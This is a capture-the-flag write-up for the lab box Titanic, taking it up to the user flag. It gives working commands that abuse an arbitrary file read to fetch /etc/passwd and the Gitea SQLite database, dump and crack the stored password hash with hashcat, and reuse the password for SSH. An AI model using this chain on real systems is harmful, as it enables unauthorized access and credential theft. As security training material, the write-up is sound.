Titanic
A Flask booking app reads files by client-supplied path, and a self-hosted Gitea instance leaks the on-disk location of its own SQLite database — chaining the two pulls gitea.db off the box, where a crackable PBKDF2 hash for the developer account doubles as the SSH password.
Overview
Titanic is an easy-difficulty Linux box built around a small Flask booking site behind Apache. VHost fuzzing surfaces a second name, dev.titanic.htb, running Gitea with open registration. The Flask app’s ticket-download endpoint reads any file you name, and the Gitea repos conveniently disclose where Gitea’s SQLite database lives on disk. Reading that database, cracking the developer user’s PBKDF2 hash, and reusing the password over SSH gets the user flag. This post covers recon through user.txt.
Machine Matrix
Enumeration-heavy web box: vhost fuzzing surfaces Gitea, an arbitrary file-read primitive is chained against a derived SQLite DB path, and a PBKDF2 hash cracks for SSH reuse; no named CVE, realistic primitives.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 8.9p1 | Ubuntu 22.04 |
| 80/tcp | Apache httpd 2.4.52 | redirects to http://titanic.htb/ |
1
nmap -A -v 10.10.10.10
The redirect tells us to use the hostname, so add it to /etc/hosts and browse:
1
echo "10.10.10.10 titanic.htb" | sudo tee -a /etc/hosts
The site advertises the Titanic ship and lets you “Book Your Trip.” Submitting the form downloads a JSON file describing the booking — and that download is the interesting part.
Enumeration
Watching the booking request in Burp shows the form POSTs to /book, and the response triggers a second request:
1
GET /download?ticket=<uuid>.json
The ticket parameter controls which file is returned. Since the filename is fully attacker-controlled, it is worth testing for arbitrary file read:
1
curl -s 'http://titanic.htb/download?ticket=/etc/passwd'
It returns /etc/passwd — an Arbitrary File Read with no path-traversal protection. Among the entries is a real user:
1
developer:x:1000:1000:developer:/home/developer:/bin/bash
Nothing else jumps out from the filesystem yet, so look for more attack surface. VHost fuzzing finds a second name:
1
gobuster vhost -u http://titanic.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt --append-domain -r
1
Found: dev.titanic.htb Status: 200 [Size: 13982]
dev.titanic.htb is a Gitea instance that allows self-registration. Register a throwaway account and explore the repos — there are two, both owned by developer: flask-app and docker-config.
flask-app is the source for the port-80 site and confirms the file-read bug in /download. docker-config is more useful: it contains docker-compose files. The Gitea one mounts a host folder as the container’s data volume:
1
2
3
4
5
services:
gitea:
image: gitea/gitea
volumes:
- /home/developer/gitea/data:/data
Gitea stores its SQLite database at /data/gitea/gitea.db by default, so on the host that resolves to /home/developer/gitea/data/gitea/gitea.db.
Foothold
1 — Read the Gitea database via the file-read primitive. Point the ticket parameter at the path we just derived:
1
curl -s 'http://titanic.htb/download?ticket=/home/developer/gitea/data/gitea/gitea.db' -o gitea.db
The download succeeds and the file is a SQLite database.
2 — Dump the user table. Open it with sqlite3 and pull the credential material:
1
2
sqlite3 gitea.db ".tables"
sqlite3 gitea.db "select name, passwd, passwd_hash_algo, salt from user;"
The developer row holds a PBKDF2-HMAC-SHA256 hash (50000 iterations) with its base64 salt.
3 — Crack it. Gitea’s format maps to hashcat mode 10900 as sha256:<iterations>:<base64 salt>:<base64 hash>. Assemble that line and crack with rockyou:
1
2
hashcat -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 10900 hash.txt --show
The password cracks quickly. It is reused for SSH:
1
ssh [email protected]
User flag
1
2
developer@titanic:~$ cat user.txt
[redacted]
Privilege escalation (a root cron running a vulnerable ImageMagick) is left as an exercise — this post stops at user.